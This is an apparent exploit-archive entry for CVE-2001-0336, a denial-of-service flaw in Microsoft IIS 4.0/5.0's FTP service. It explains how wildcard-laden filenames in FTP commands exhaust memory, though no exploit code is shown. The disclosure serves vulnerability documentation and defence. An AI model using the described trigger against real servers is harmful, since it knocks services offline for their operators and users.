Description

Microsoft IIS 4.0/5.0 FTP Denial of Service Vulnerability. CVE-2001-0336. Dos exploit for windows platform

                                        
                                            source: http://www.securityfocus.com/bid/2717/info

Due to a flaw in the pattern-matching function used by FTP commands, denial of service attacks can be successfully launched. If a user submits an FTP command along with a filename containing specially placed wildcard sequences, the pattern-matching function will not allocate sufficent memory. Resulting in IIS experiencing denial of service condition.
